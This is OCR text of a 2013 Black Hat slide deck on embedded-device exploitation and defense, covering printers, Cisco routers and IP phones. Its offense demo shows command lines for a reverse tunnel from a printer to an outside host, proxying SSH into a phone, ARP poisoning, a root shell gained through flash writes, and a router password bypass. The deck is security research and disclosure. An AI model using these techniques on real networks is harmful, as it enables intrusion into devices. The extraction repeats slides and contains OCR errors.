Stepping p3wns

Adventures in Full-Spectrum Embedded Exploitation and Defense

8/1/13

Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
OUR TYPICAL TALK
Our Typical Talk

Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
Our Typical Talk

HEY!

FAIL

SH!T!!

Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
Our Typical Talk

- Hey
- Look!
- Fail
- Shack
- Impact
- Pwn!
Our Typical Talk

- HEY!
- LOOK!
- FAIL SHACK!!
- DUCT TAPE FIX!
- IMPACT
- PWN!!

★ Pictures of cats & harmless copyright infringement

8/1/13
Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
A Real Solution
This Talk is Different
Pictures of unicorns & harmless copyright infringement

Cui, Costello, Kataria, Stolfo, Blackhat USA

2013
Professor, Columbia University
Co-Founder, Red Balloon Security
Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
CAST - HUMAN

JATIN KATARIA

Research Scientist, Red Balloon Security
Local Man

Cast—Human

Ang Cui

Local Man
Cast: Human

Guest Appearance:

MIKEY DROP TABLES

MAYOR P3WNTOWN
CAST MACHINE
CAST-MACHINE
CAST-MACHINE
CAST MACHINE

Cisco Bug ID – CSCui04382
CAST - MACHINE
CAST-MACHINE
Big Bad Internet

Intranet

Punted
BIG BAD INTERNET

PUNITOWN

"INTRANET"
How many vulnerable printers are there in the world?

<table>
<thead>
<tr>
<th>Potentially vulnerable printers</th>
<th>90,847</th>
</tr>
</thead>
<tbody>
<tr>
<td>Printers with identifiable</td>
<td>74,770</td>
</tr>
<tr>
<td>firmware datecode</td>
<td></td>
</tr>
<tr>
<td>Number of patched printers</td>
<td>808</td>
</tr>
<tr>
<td>Overall patch rate</td>
<td>1.08%</td>
</tr>
</tbody>
</table>

**TABLE I**

*Observed population of printers vulnerable to the HP-RFU attack on IPv4.*

MONTHS AFTER PATCH RELEASE

HOW MANY VULNERABLE PRINTERS ARE THERE IN THE WORLD?
<table>
<thead>
<tr>
<th>Potentially vulnerable printers</th>
<th>76,288</th>
</tr>
</thead>
<tbody>
<tr>
<td>Printers with identifiable firmware datecode</td>
<td>5659</td>
</tr>
<tr>
<td>Number of patched printers</td>
<td></td>
</tr>
<tr>
<td>Overall patch rate</td>
<td>7.42%</td>
</tr>
</tbody>
</table>

**TABLE I**

*Observed population of printers vulnerable to the HP-RFU attack on IPv4.*

**How many vulnerable printers are there in the world?**

14 months after patch release
BIG BAD INTERNET

"INTRANET"
Big Bad Internet

Puntown

Rev Tunnel

"Intranet"
"EASY"

VS

http://ids.cs.columbia.edu/sites/default/files/CuiPrintMeIfYouDare.pdf
"EASY" vs

http://events.ccc.de/congress/2012/Fahrplan/events/5400.de.html
Today, This Talk

Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
Winter IS Coming!

Poly-Species

Malware Propagation.
Poly-species malware propagation

not easy
NOT EASY
Cisco 2821
IOS 12.3(11)T5
MIPS

Cisco 8961
Linux 2.6.18
(Sort of)
ARM

HP LaserJet
P2055dn
20100308
ARM

Cisco 1841
IOS 12.4(1C)
MIPS

Cisco 7961
CNU 9.3(1TH2.5)
MIPS

Avaya 9601
Linux ??
ARM

8/1/13

Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
CAST_MACHINE

Cisco 2821
IOS 12.3(11)T5
MIPS

Cisco 8961
LINUX 2.6.18
(SORT OF)
ARM

HP LaserJet
P2055dn
20100308
ARM

Cisco 1841
IOS 12.4(1c)
MIPS

Cisco 7961
CNU 9.3(1TH2.5)
MIPS

Avaya 9601
LINUX ??
ARM

8/1/13
Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
CAST-MACHINE

Cisco 2821
IOS 12.3(11)T
MIPS

Cisco 8961
LINUX 2.6.18
(SORT OF)
ARM

HP LaserJet
P2055dn
20100308
ARM

Cisco 1841
IOS 12.4(1C)
MIPS

Cisco 7961
CNU 9.3(1TH2.5)
MIPS

Avaya 9601
LINUX ??
ARM

8/1/13

Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
Offense


Defense

CAT

CAT
GENERALIZED: BINARY MODIFICATION
GENERALIZED: EXECUTION

8/4/13  
Cui, Costello, Kataria, Stolfo, Blackhat USA, 2013
GENERALIZED: INPUT & OUTPUT

on

8/4/13

Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
GENERALIZED: Execution
GENERALIZED: EXECUTION

CODE

IOMEM

MEM

???
GENERALIZED: EXECUTION
GENERALIZED: EXECUTION

CODE
SYSTEM
IGMP
DEBUG
DEADLY
IOMEM
MEM

Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
GENERALIZED: EXECUTION

CODE

IOMEM

MEM

???

Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
GENERALIZED: EXECUTION

*: Intercept Points
GENERALIZED: EXECUTION

CODE

Root Kit

IOMEM

MEM

*: Intercept Points
SECRET, MEMORY, et al.

8/1/13
Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
GENERALIZED: EXECUTION

```
*; Intercept Points
* Secret Memory at $?
```
GENERALIZED: Input & Output
CNC_MODULE - A
CNC_MODULE - B
CNC_MODULE - C
CNC_MODULE - D

PACKET SCRUBBER

IOMEM
CNC_MODULE_A
CNC_MODULE_B
CNC_MODULE_C
CNC_MODULE_D

PACKET_SCRUBBER

IO_MEM

CUI, COSTELLO, KATARIA, STOLFO, BLACKHAT USA
2013
CNC_CMD

32 BITS

0xACACACAC
SEQ #
TOTAL #
PAYLOAD LEN

- CHKSUM -
0xFACEEDFED

CNC_ACK

32 BITS

0xACACACAC
DEVICE ID
MEM STATE HASH
SRC IP
ACK ID
PAYLOAD LEN

- CHKSUM -
0xFACEEDFED
CNC.Cmd

- 32-BITS -
  0xACACACAC
  SEQ #
  TOTAL #
  PAYLOAD LEN

- CHKSUM -
  0xFACEDEFE

CNC.Ack

- 32-BITS -
  0xACACACAC
  DEVICE ID
  MEM STATE HASH
  SRC.IP
  ACK_ID
  PAYLOAD LEN

- CHKSUM -
  0xFACEDEFE

CNC Envelope
GENERALIZED: EXECUTION

**Code**

**Stack**

**Root Kit**

**IOMEM**

**MEM**

**Input:**

**Output:**

*Intercept Points:*

Secret, Memory at 8
EXECUTION

CODE

STACK

Root Kit

IOMEM

MEM

INPUT

OUTPUT

???

???

???

???

???

???

???

???

OUTPUT

INPUT

*; Intercept Points

SECRET, MEMORY, etc.
EXECUTION

Output
Input

CODE
Stack
RootKit
IOMEM
MEM

INTERCEPT POINTS
CRT, MEMORY, et al.

COPY, Costello, Katari, Stolfo, Blackhat USA
2013
F

Barnaby
BARNABY_prime FUNCTION = PERMANENT MODIFICATION
Thank You Joe Grand!

8/1/13

Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
P3WNTOWN POPULATION: 6

- Cisco 1841
- Cisco 2821
- Cisco 8961
- Cisco 7961
- HP 2055
P3WNTOWN POPULATION: 6

[Diagram with icons and numbers]

Cui, Costello, Kataria, Stolfo, Blackhat USA
2013
Fun Facts
Fun Facts

The little printer that could
Fun Facts

~ 15,000 packets/sec.

The little printer that could.
Fun Facts

~15,000 packets/sec.

The little printer that could
Fun Facts

DOS GAME

HP 2055 vs C.500 2821

The little printer that could
Fun Facts

DOS GAME
HP 2055 vs Cisco 2821

The little printer that could

Wins all day
Defense
SOFTWARE SYMBIOTE DEFENSE ON

- ARM, MIPS
- Cisco 7961G
- Cisco 2821 & 1841
- HP 2055 LaserJet
P umiejętności population:
There is NO protection from a polyculture...
A cacophony can play nice....
Market & Legal Implications

Why vendors seem not to care, for now....
THE MARKET DOESN’T CARE?

• What you don’t see won’t hurt you...
More of this is needed?

Scientist banned from revealing codes used to start luxury cars

High court imposes injunction on Flavio Garcia, who has cracked security system of cars including Porsches and Bentleys

Lisa O’Carroll
guardian.co.uk, Friday 26 July 2013 13.18 EDT
Jump to comments (269)
Or this....
It’s not just about function and price

- What if our phones attack our servers?

- The legal liability issues have not been tested
  - But they will be...
And then there is government...
Customer awareness means…

• **Vendors will respond…**

• **Software Symbiotes are ready**
SunSet @ P3wnT0wn

8/1/13

Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
More About Software Symbiote Technology

[www.redballoonsecurity.com]
Offense Demo
mc@m:/bh13/konsol$ make server
sudo python cmdnctr1.py 172.17.0.21 5555 --tun_port 7777 --debug
Server started on port 5555
Reverse tunnel service listening on 7777
Sniffer started
Reverse tunnel client connected: ('192.168.100.31', 1244)

REVERSE TUNNEL FROM PRINTER TO OUTSIDE HOST.
Offense Demo

Offense konsole launched. Printer added as target.

Cui, Costello, Kataria, Stolfo, Blackhat USA

8/1/13
Synscan command issued over tunnel to printer. Printer synscans inside network and finds targets.
Printer Used to Find MAC to IP Mappings.
Recon4 renamed to phone2
ARP poisoning phone2. Phone2 now thinks printer is its TFTP server.
Offense Demo

vanity:~/$ make proxy8961
python ProxyHost.py 192.168.100.41 22 8022
Host Proxy Alive
Proxy-side Bound to: 8000
Host-side Bound to: 8022
Proxy-side Connected (192.168.100.31, 1032)
Offense Demo

SSH in from outside, through printer proxy, to phone using authorized_keys file (supplied by printer).

vanity:~/bh13/konsole$ make ssh
ssh localhost -p8022
Warning: Permanently added 'localhost:8022' (RSA) to the list of known hosts.
(none) login: default
Password:

Welcome to MontaVista(R) Linux(R) Professional Edition Blackfoot (0702518).
Cisco IP Phone 8961 9-2-1

$
The phone has MTD with world write permission and utilities to erase and write NAND flash.

```bash
$ ls -l /dev/mtd4*
crw-rw-rw- 1 root sys 90, 8 May 13 2011 /dev/mtd4
crw-rw-rw- 1 root sys 90, 9 Jan 1 1970 /dev/mtd4ro
$
$
$ ls /usr/sbin/flash*
/usr/sbin/flash_erase   /usr/sbin/flash_info   /usr/sbin/flash_unlock
/usr/sbin/flash_eraseall /usr/sbin/flash_lock   /usr/sbin/flashcp
$
$
$ ls /usr/sbin/nand*
/usr/sbin/nanddump     /usr/sbin/nandwrite
$`
Small block written to MTD containing small filesystem with one setuid, shell-popping binary. Root shell earned.
Offense Demo

All offense targets containing the packet scrubber rootkit added to konsole. Heartbeat devices through tunnel to find memory fingerprints.

8/1/13

Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
Using memory fingerprint, we can lookup pre-computed values about the printer in offline firmware database.
Offense Demo

Getinfo for the 2821 router.

8/1/13
Use command and control packets to read phone memory.
Offense Demo

Use command and control to write phone memory.
Offense Demo

Read phone memory again to see results of write operation.
Password:  
2821>en  
Password:  
Password:  
% Bad secrets  
2821>sh ver  
Cisco IOS Software, 2800 Software (C2800XM-SPSERVICESK9-M), Version 12.3(11)T5, RELEASE SOFTWARE (fc1)  
Technical Support: http://www.cisco.com/techsupport  
Copyright (C) 1986-2005 by Cisco Systems, Inc.  
Compiled Sat 02-Apr-05 15:43 by yiyang  
ROM: System Bootstrap, Version 12.4(13r)T, RELEASE SOFTWARE (fc1)  
2821 uptime is 6 minutes  
System returned to ROM by power-on  
System image file is "flash:uncompressed-123.BIN"  

This product contains cryptographic features and is subject to United States and local country laws governing import, export, transfer and use. Delivery of Cisco cryptographic products does not imply third-party authority to import, export, distribute or use encryption. Importers, exporters, distributors and users are responsible for compliance with U.S. and local country laws. By using this product you agree to comply with applicable laws and regulations. If you are unable to comply with U.S. and local laws, return this product immediately.  

A summary of U.S. laws governing Cisco cryptographic products may be found at:  

If you require further assistance please contact us by sending email to export@cisco.com.  

Cisco 2821 (revision 53.50) with 251904K/10240K bytes of memory.  
Processor board ID FTX1143A0KU  
2 Gigabit Ethernet interfaces  
DRAM configuration is 64 bits wide with parity enabled.  
239K bytes of non-volatile configuration memory.  
3686256K bytes of ATA CompactFlash (Read/Write)  
Configuration register is 0x3922

---

**Normal Cisco Router Behavior: Three Bad Enable Secrets Keeps User at Unprivileged Level. 'Show Version' Shows Router Information.**
The barnaby command makes multiple writes to the 2821 router. It makes the check password function always return success and overwrites the 'show version' string.
Offense Demo

User Access Verification

Password: 
2821> en
Password:
Password:
Password:
% Bad secrets

2821#
BARNABY JACK’S FACE IN ‘SHOW VERSION’ OUTPUT.
Enable bypass and Barns on the 1841 router.

Offense Demo

Enable bypass and Barns on the 1841 router.

8/1/13
Cui, Costabile, Risten, Stolfo, Blackhat USA 2013
Offense Demo

Results of making printer DOS router. CPU goes to 99% utilization.
## Defense Demo

**Defense Konsole**. All Symbiote protected targets reporting that they are secure.

<table>
<thead>
<tr>
<th>Symbiotes</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Model:</strong> Cisco 7961G phone</td>
</tr>
<tr>
<td><strong>Ip:</strong> 192.168.100.140 <strong>State:</strong> SECURE <strong>Checksum:</strong> 0xa2610090 <strong>(22:00.3)</strong></td>
</tr>
<tr>
<td><strong>Time:</strong> 2013-07-31 22:04:00</td>
</tr>
<tr>
<td><strong>Secure State:</strong> SECURE</td>
</tr>
</tbody>
</table>

**router2821**

| **Model:** Cisco 2821 Router | **IP:** 192.168.100.127 **State:** SECURE **Checksum:** 0xa2610090 **(22:00.9)** |
| **Ip:** 192.168.100.130 **State:** SECURE **Checksum:** 0xa2610090 **(22:00.5)** |
| **Time:** 2013-07-31 22:03:02 | **Checksum:** 0xa2610090 **(22:00.3)** |
| **Secure State:** SECURE |

**router1841**

| **Model:** Cisco 1841 Router | **IP:** 192.168.100.125 **State:** SECURE **Checksum:** 0xa2610090 **(22:00.5)** |
| **Ip:** 192.168.100.130 **State:** SECURE **Checksum:** 0xa2610090 **(22:00.4)** |
| **Time:** 2013-07-31 22:03:36 | **Checksum:** 0xa2610090 **(22:00.3)** |
| **Secure State:** SECURE |

**printer**

| **Model:** HP 2005 printer | **IP:** 192.168.100.130 **State:** SECURE **Checksum:** 0xa2610090 **(22:00.5)** |
| **Ip:** 192.168.100.140 **State:** SECURE **Checksum:** 0xa2610090 **(22:00.4)** |
| **Time:** 2013-07-31 22:04:00 | **Checksum:** 0xa2610090 **(22:00.3)** |
| **Secure State:** SECURE |
Cisco 7961 exploit launched.

8/1/13

Cui, Costello, Kataria, Stolfo, Blackhat USA 2013
Symbiote detects change in static region of memory. Reported checksum changes and phone state now reports that it has been exploited.

8/1/13
‘SHOW CDP NEIGHBOR’ MODIFIED TO CHANGE ROUTER MEMORY, SIMULATING EXPLOIT.
Symbiote detects 2821 router exploit.

router2821
Model: Cisco 2821 Router
Ip: 192.168.100.127
Time: 2013-07-31 22:08:37
Checksum: 0x86e894e0
Secure State: PWND

router1841
Model: Cisco 1841 Router
Ip: 192.168.100.125
Time: 2013-07-31 22:08:37
Checksum: 0x46dc21ec
Secure State: SECURE
Defense Demo

vanity:~/.bashrc$ telnet 192.168.100.25
Trying 192.168.100.25...
Connected to 1841p.
Escape character is '^]'.

User Access Verification

Password:
c1841>exit
Connection closed by foreign host.
vanity:~/.bashrc$ telnet 192.168.100.125
Trying 192.168.100.125...
Connected to 1841sem.
Escape character is '^]'.

User Access Verification

Password:
1841-sem>sh cdp nei
Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge
                  S - Switch, H - Host, I - IGMP, r - Repeater

Device ID    Local Intrfce    Holdtime  Capability  Platform   Port ID
lab-sw        Fas 0/0         165       S I          WS-C2950-2Fas 0/2
1841-sem>
Symbiote detects 1841 router exploit.

8/1/13
Using the printer command and control write command to change printer memory. Symbiote detects the exploit.
More About Software Symbiote Technology

www.redballoonsecurity.com